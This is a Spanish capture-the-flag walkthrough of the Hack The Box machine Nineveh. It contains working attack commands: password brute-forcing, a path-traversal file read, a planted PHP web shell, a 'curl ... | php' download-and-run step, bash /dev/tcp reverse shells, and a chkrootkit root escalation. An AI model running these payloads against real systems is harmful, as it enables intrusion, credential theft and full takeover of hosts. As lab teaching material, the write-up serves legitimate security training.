Hack The Box Nineveh
Nineveh
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.43.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.43
PING 10.10.10.43 (10.10.10.43) 56(84) bytes of data.
64 bytes from 10.10.10.43: icmp_seq=1 ttl=63 time=136 ms
--- 10.10.10.43 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 135.820/135.820/135.820/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.43 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 19:50 CST
Initiating SYN Stealth Scan at 19:50
Scanning 10.10.10.43 [65535 ports]
Discovered open port 80/tcp on 10.10.10.43
Discovered open port 443/tcp on 10.10.10.43
Completed SYN Stealth Scan at 19:50, 26.52s elapsed (65535 total ports)
Nmap scan report for 10.10.10.43
Host is up, received user-set (0.14s latency).
Scanned at 2021-11-27 19:50:21 CST for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.61 seconds
Raw packets sent: 131087 (5.768MB) | Rcvd: 21 (924B)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.43
5 │ [*] Open ports: 80,443
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nmap -sC -sV -p80,443 10.10.10.43 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 19:52 CST
Nmap scan report for 10.10.10.43
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
|_http-server-header: Apache/2.4.18 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.69 seconds
Vemos sólo los puerto 80 y 443. Dentro de los resultados de nmap
, vemos el dominio nineveh.htb
el cual vamos a agregar a nuestro archivo /etc/hosts
y posteriormente, antes de visualizar el contenido vía web; vamos a observar a lo que nos enfrentamos con whatweb
:
1
2
3
4
❯ whatweb http://nineveh.htb/
http://nineveh.htb/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.43]
❯ whatweb https://nineveh.htb/
https://nineveh.htb/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.43]
No vemos algún CMS (gestor de contenido), por lo que el sitio podría ser echo manualmente. Ahora si vamos el ver el contenido vía web.
Como no vemos nada interesante, trataremos de descubrir rutas dentro del servidor con la herramienta nmap
y posteriormente con wfuzz
para ambos servicios, tanto por HTTP como HTTPS:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap --script http-enum -p80,443 10.10.10.43 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 20:26 CST
Nmap scan report for nineveh.htb (10.10.10.43)
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /info.php: Possible information file
443/tcp open https
| http-enum:
| /db/: BlogWorx Database
|_ /db/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 28.66 seconds
Para el puerto 80 tenemos /info.php
y sobre el puerto 443 tenemos /db/
que se encuentra relacionado con BlogWorx Database. Si tratamos de ingresar vía web al recurso, tenemos un panel de login de phpLiteAdmin v1.9.
Vamos ahora a utilizar wfuzz
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ wfuzz -c -t 200 --hc=404 --hh=178 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://nineveh.htb/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://nineveh.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003021: 301 9 L 28 W 315 Ch "department"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 32291
Filtered Requests: 32290
Requests/sec.: 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ wfuzz -c -t 200 --hc=404 --hh=49 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://nineveh.htb/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nineveh.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000848: 301 9 L 28 W 309 Ch "db"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 111.4947
Processed Requests: 45914
Filtered Requests: 45913
Requests/sec.: 411.8040
Tenemos nuevos recursos, para el 80 department
al cual si le echamos un ojo, tenemos otro panel de login:
A este punto, tenemos dos paneles de login, por lo que podriamos tratar de hacer SQLi; sin embargo, los sitios no son vulnerables, por lo que vamos a tratar de hacer fuerza bruta para obtener la contraseña y empezaremos con el puerto recurso db
y la herramienta hydra
.
1
2
3
4
5
6
7
8
9
10
❯ hydra -l none -P /usr/share/wordlists/rockyou.txt nineveh.htb https-form-post "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-11-27 20:55:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.
[STATUS] 727.00 tries/min, 727 tries in 00:01h, 14343672 to do in 328:50h, 16 active
[443][http-post-form] host: nineveh.htb login: none password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-11-27 20:57:05
Hablando un poco del comando hydra
, con el parámetro -l
le indicamos un nombre de usuario, si es minúscula es que conocemos el usuario y con mayúscula le indicamos un diccionario; para este caso en concreto, no requerimos usuario ya que solo se tiene el campo de password, así que le ponemos none
. Con el parámetro -P
le indicamos la contraseña y la ponemos en mayúscula ya que haremos uso de un diccionario, el rockyou.txt
. Posteriormente el indicamos la dirección IP o el dominio, luego el método que se utilizar para tramitar la petición, para este caso es POST y se lo indicamos con https-form-post
y por último entre comillas ponemos tres valores separados por dos puntos :
, el primero corresponde al recurso donde se encuentra el panel de login, el segundo los datos que se tramitan y el tercero, algún indicador que nos ayude a validar si la contraseña es correcta o incorrecta. Esta información la podemos obtener de Inspeccionar del navegador, que puede ser click secundario e Inspeccionar o haciendo Ctrl + O en el navegador y después hacer una solicitud con cualquier contraseña.
Vemos que la contraseña es password123
y ya podemos ingresar (Nota: Recordar guardar siempre las credenciales que encontremos).
Mediante la herramienta searchsploit
podriamos tratar de ver si existen exploits públicos asociados a phpLiteAdmin 1.9 y encontramos algunos que básicamente nos indican como crear una nueva base de datos inyectando comandos en php.
1
2
3
4
5
6
7
8
❯ searchsploit phpLiteAdmin 1.9
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities | php/webapps/39714.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Por el momento dejaremos este portal y ahora vamos a aplicar fuerza bruta para el panel de login sobre el puerto 80. Si probamos credenciales default dentro del panel de login, vemos que el usuario admin
existe, así que vamos a utilizar este usuario y para el ataque vamos a utilizar la herramienta patator. Solo la descargamos, le damos permisos de ejecución y ejecutamos.
1
2
3
4
5
6
7
8
❯ ./patator.py http_fuzz url="http://nineveh.htb/department/login.php" method=POST body='username=admin&password=FILE0' 0=/usr/share/wordlists/rockyou.txt -x ignore:fgrep="Invalid Password\!"
21:52:36 patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2021-11-27 21:52 CST
21:52:36 patator INFO -
21:52:36 patator INFO - code size:clen time | candidate | num | mesg
21:52:36 patator INFO - -----------------------------------------------------------------------------
21:53:40 patator INFO - 302 2049:1706 0.137 | 1q2w3e4r5t | 4553 | HTTP/1.1 302 Found
^C21:53:45 patator INFO - Hits/Done/Skip/Fail/Size: 1/4910/0/0/14344392, Avg: 71 r/s, Time: 0h 1m 8s
21:53:45 patator INFO - To resume execution, pass --resume 491,491,491,491,491,491,491,491,491,491
Ya tenemos las credenciales del segundo panel del login admin : 1q2w3e4r5t
; asi que vamos a guardarlas y luego utilizarlas para ver el contenido web.
Si seleccionamos el apartado de Notes, vemos que se nos muestra un mensaje y la dirección URL parece algo curiosa, al parecer está apuntando a un archivo dentro del sistema llamado ninevehNotes.txt
1
2
3
4
- Have you fixed the login page yet! hardcoded username and password is really bad idea!
- check your serect folder to get in! figure it out! this is your challenge
- Improve the db interface.
~amrois
El mensaje nos da algunas pistas y confirma la parte de que se está leyendo un archivo ninevehNotes.txt
; asi que vamos a quitarle la extensión a ver que pasa.
Tenemos un mensaje de alertas indicando que el archivo ninevehNotes
no existe bajo la ruta /var/www/html/department/
. A este punto podríamos pensar que el sitio podría ser vulnerable a LFI (Local File Inclusion); así que vamos a tratar de ver el archivo /etc/passwd
:
http://nineveh.htb/department/manage.php?notes=/etc/passwd
El sitio nos arroja No note is selected. Podríamos probar un Directory Traversal:
http://nineveh.htb/department/manage.php?notes=/../../../../etc/passwd
Sin embargo, tampoco vemos nada. Si hacemos varias pruebas, el mensaje de alerta solo nos aparece cuando está la palabra ninevehNotes
, por lo que podríamos pensar que se está aplicando algún filtro para evitar que podamos acceder a otro archivo. A este punto podríamos probar el ejemplo anterior pero agregando la palabra clave:
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../../etc/passwd
Tenemos capacidad de visualizar archivos internos de la máquina. Con esto ya tenemos la posibilidad de ingresar a la máquina, por lo que primero vamos a crearnos una base de datos en la plataforma de phpLiteAdmin con extensión php y agregarle contenido malicioso para posteriormente desde el recurso /department
apuntar a nuestro archivo y ganar acceso a la máquina.
Primero vamos a crear nuestra base de datos en la parte donde indica Create New Database que llamaremos k4miyo.php. Una vez creada la seleccionamos en al parte donde indica Change Database
Ahora en la parte donde nos dice Create new table on database ‘k4miyo.php’, en la sección de Name colocamos lo que queramos, en este caso shell y en Number of Fields podemos 1 y el damos click en Go:
Posteriormente, en Type seleccionamos TEXT, en Field insertamos nuestro código php <?php system($_REQUEST["cmd"]) ?>
y le damos en Create
Ya tenemos nuestro archivo php que si le damos en Return nos mostrará información sobre nuestro archivo y lo que nos interesa es la ruta /var/tmp/k4miyo.php
para que podamos apuntar desde el otro sitio web, que es lo que haremos:
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../../var/tmp/k4miyo.php
Ahora para poder ejecutar comandos, haremos uso de la variable cmd
y hay que tener en cuentra que para agregarla a la dirección URL lo haremos con el símbolo &
debido a el ?
ya está siendo usado:
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../../var/tmp/k4miyo.php&cmd=whoami
Ya tenemos ejecución de comando a nivel de sistema, ahora nos queda ingresar a la máquina; para este caso haremos uso de la herramienta php-reverse-shell, así que la descargamos en nuestro directorio de trabajo, los descomprimimos y modificamos los parámetros que nos indica dentro del archivo php-reverse-shell.php
. Una vez hecho esto, nos compartimos un servidor HTTP con python, nos podemos en escucha y procedemos a entablarnos una reverse shell.
http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../../../../var/tmp/k4miyo.php&cmd=curl http://10.10.14.27/shell.php|php
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.43 - - [28/Nov/2021 20:43:22] "GET /shell.php HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.43] 56104
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
20:48:20 up 57 min, 0 users, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Ya nos encontramos dentro de la máquina y como siempre, para trabajar más cómodos, vamos a hacer un Tratamiento de la tty. Nos encontramos como el usuario www-data y no podemos visualizar la flag ya que no tenemos los permisos necesarios. Vamos a enumerar un poco el sistema.
1
2
3
4
5
www-data@nineveh:/home/amrois$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nineveh:/home/amrois$ sudo -l
[sudo] password for www-data:
www-data@nineveh:/home/amrois$
No vemos nada interesante, así que podriamos probar buscar recursos interesantes dentro de los servidores bajo las rutas /var/www/hmlt
y /var/www/ssl
y bajo la última, nos encontramos un directorio llamado secure_notes
el cual presenta dos archivos:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@nineveh:/var/www/ssl$ ls -l
total 560
drwxr-xr-x 2 root root 4096 Jul 2 2017 db
-rw-r--r-- 1 root root 49 Jul 2 2017 index.html
-rw-r--r-- 1 root root 560852 Jul 2 2017 ninevehForAll.png
drwxr-xr-x 2 root root 4096 Jul 2 2017 secure_notes
www-data@nineveh:/var/www/ssl$ cd secure_notes/
www-data@nineveh:/var/www/ssl/secure_notes$ ls -l
total 2832
-rw-r--r-- 1 root root 71 Jul 2 2017 index.html
-rw-r--r-- 1 root root 2891984 Jul 2 2017 nineveh.png
www-data@nineveh:/var/www/ssl/secure_notes$
Vamos a observar las cadenas imprimibles de la imagen nineveh.png
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
www-data@nineveh:/var/www/ssl/secure_notes$ strings nineveh.png
...
www-data
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----
secret/nineveh.pub
0000644
0000041
0000041
00000000620
13126060277
014541
ustar
www-data
www-data
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R amrois@nineveh.htb
www-data@nineveh:/var/www/ssl/secure_notes$
Tenemos una clave id_rsa, la cual de acuerdo con lo observado, podría ser del usuario amrois; sin embargo, no se observa el puerto 22 abierto externamente, así que vamos a validarlo de manera interna.
1
2
3
4
5
6
7
8
9
10
www-data@nineveh:/var/www/ssl/secure_notes$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.43:80 10.10.14.27:34440 ESTABLISHED
tcp 0 138 10.10.10.43:56104 10.10.14.27:443 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
www-data@nineveh:/var/www/ssl/secure_notes$
Lo que podríamos hacer es un Remote Port Forwarding para alcanzar el puerto desde nuestra máquina de manera local y aprovechar la id_rsa; por lo que primero creamos un archivo llamado id_rsa
y le asignamos el privilegio 600.
1
❯ chmod 600 id_rsa
Ahora procedemos crear un tunel para alcanzar el puerto 22 de la máquina víctima a través del puerto 4646 de nuestro equipo de atacante (Nota: En el comando se observa el parámetro -p 2222
ya que es el puerto que tengo configurado y además es importante iniciar el servicio ssh service ssh start
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@nineveh:/var/www/ssl/secure_notes$ ssh -R 4646:127.0.0.1:22 k4miyo@10.10.14.27 -p 2222
Could not create directory '/var/www/.ssh'.
The authenticity of host '[10.10.14.27]:2222 ([10.10.14.27]:2222)' can't be established.
ECDSA key fingerprint is SHA256:X+58wT4JhCZo1JHA1IfaUg4HqR7NmOzkqFouwQwkYu0.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
k4miyo@10.10.14.27's password:
Linux k4mipc 5.14.0-2parrot1-amd64 #1 SMP Debian 5.14.6-2parrot1 (2021-09-25) x86_64
____ _ ____
| _ \ __ _ _ __ _ __ ___ | |_ / ___| ___ ___
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
| __/ (_| | | | | | (_) | |_ ___) | __/ (__
|_| \__,_|_| |_| \___/ \__| |____/ \___|\___|
The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
░▒▓ ~ ✔ with k4miyo@k4mipc ▓▒░
1
2
3
4
❯ lsof -i:4646
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 143226 k4miyo 10u IPv6 451442 0t0 TCP localhost:4646 (LISTEN)
sshd 143226 k4miyo 11u IPv4 451443 0t0 TCP localhost:4646 (LISTEN)
Ahora vamos a proceder a conectarnos vía ssh de manera local apuntando al puerto 4646 como el usuario amrois:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ ssh -i id_rsa amrois@127.0.0.1 -p 4646
The authenticity of host '[127.0.0.1]:4646 ([127.0.0.1]:4646)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:4646' (ECDSA) to the list of known hosts.
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
288 packages can be updated.
207 updates are security updates.
You have mail.
Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ whoami
amrois
amrois@nineveh:~$
Ya somos el usuario amrois y podemos visualizar la flag (user.txt). Ahora, nos podríamos ahorrar lo anterior ya que si checamos el archivo /etc /knockd.conf
, vemos que están configuradas unas reglas para hacer Port Knocking, es decir, probar si ciertos puertos se encuetran abiertos en un orden especifico para abrir otro puerto; para este caso, al validar los puertos en orden 571, 290 y 911, encontraremos el puerto 22 abierto de manera externa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@nineveh:/etc$ cat knockd.conf
[options]
logfile = /var/log/knockd.log
interface = ens160
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 911,290,571
seq_timeout = 5
start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
www-data@nineveh:/etc$
Para hacerlo, vamos a hacer uso de la herramienta knock
, la cual la podemos instalar con apt-get install knockd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ knock 10.10.10.43 571:tcp 290:tcp 911:tcp
❯ nmap -p22 --open -T5 -v -n 10.10.10.43
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-28 21:29 CST
Initiating Ping Scan at 21:29
Scanning 10.10.10.43 [4 ports]
Completed Ping Scan at 21:29, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:29
Scanning 10.10.10.43 [1 port]
Discovered open port 22/tcp on 10.10.10.43
Completed SYN Stealth Scan at 21:29, 0.15s elapsed (1 total ports)
Nmap scan report for 10.10.10.43
Host is up (0.14s latency).
PORT STATE SERVICE
22/tcp open ssh
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
Raw packets sent: 5 (196B) | Rcvd: 2 (72B)
El puerto 22 ya se encuentra abierto externamente. Una vez dentro, si enumeramos un poco el sistema como el usuario amrois no vemos nada interesante, así que podemos pensar que se está ejecutando una tarea en intervalos regulares, así que vamos a crearnos nuestro archivo ProcMon, ejecutarlo y ver que información nos reporta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
amrois@nineveh:/dev/shm$ ./procmon.sh
> /usr/sbin/CRON -f
> /bin/sh -c /root/vulnScan.sh
> /bin/bash /root/vulnScan.sh
> /bin/sh /usr/bin/chkrootkit
> /bin/sh /usr/bin/chkrootkit
> /bin/echo a\c
> grep -E c
< /bin/sh /usr/bin/chkrootkit
< /bin/echo a\c
< grep -E c
> /bin/sh /usr/bin/chkrootkit
> /bin/ps ax
> grep -E (^|[^A-Za-z0-9_])inetd([^A-Za-z0-9_]|$)
> grep -E -v grep
> grep -E -v chkrootkit
> /bin/sh /usr/bin/chkrootkit
> /usr/bin/awk { print $5 }
Como vemos en los resultados obtenidos, se está ejecutando el archivo /usr/bin/chkrootkit
cuyo propietario es el usuario root y al investigar un poco vemos que Chrootkit es un programa informático de consola, común en sistemas operativos Unix y derivados que permite localizar rootkits conocidos, realizando múltiples pruebas en las que busca entre los binarios modificados por dicho software. Si mediante searchsploit
buscamos dicho programa, encontraremos algunos exploits públicos para escalar privilegios. (Nota: En el momento de ejecutar el procmon.sh
al parecer se encontraba otro usuario vulnerando la máquina, por eso vemos varios comandos que no son relacionados a la máquina).
1
2
3
4
5
6
7
8
❯ searchsploit chkrootkit
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit) | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation | linux/local/33899.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Si leemos el archivo linux/local/33899.txt
nos indica que debemos poner un archivo ejecutable con nombre update
dentro del directorio /tmp
y posteriormente ejecutar chkrootkit
(en este caso, ya el usuario root lo hace por nosotros). Por lo que debemos crear un el archivo update
:
1
2
3
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.27/443 0>&1
Le damos permisos de ejecución y nos ponemos en escucha por el puerto 443:
1
2
3
4
5
6
7
8
9
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.43] 56474
bash: cannot set terminal process group (18487): Inappropriate ioctl for device
bash: no job control in this shell
root@nineveh:~# whoami
whoami
root
root@nineveh:~#
Ya somos el usuario root y podemos visualizar la flag (root.txt). Otra forma más cómoda sería asignarle permisos SUID a la /bin/bash
:
1
2
3
#!/bin/bash
chmod u+s /bin/bash
Esperamos un rato y vemos que se han aplicado los permisos y accedemos como el usuario root:
1
2
3
4
5
6
amrois@nineveh:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
amrois@nineveh:/tmp$ bash -p
bash-4.3# whoami
root
bash-4.3#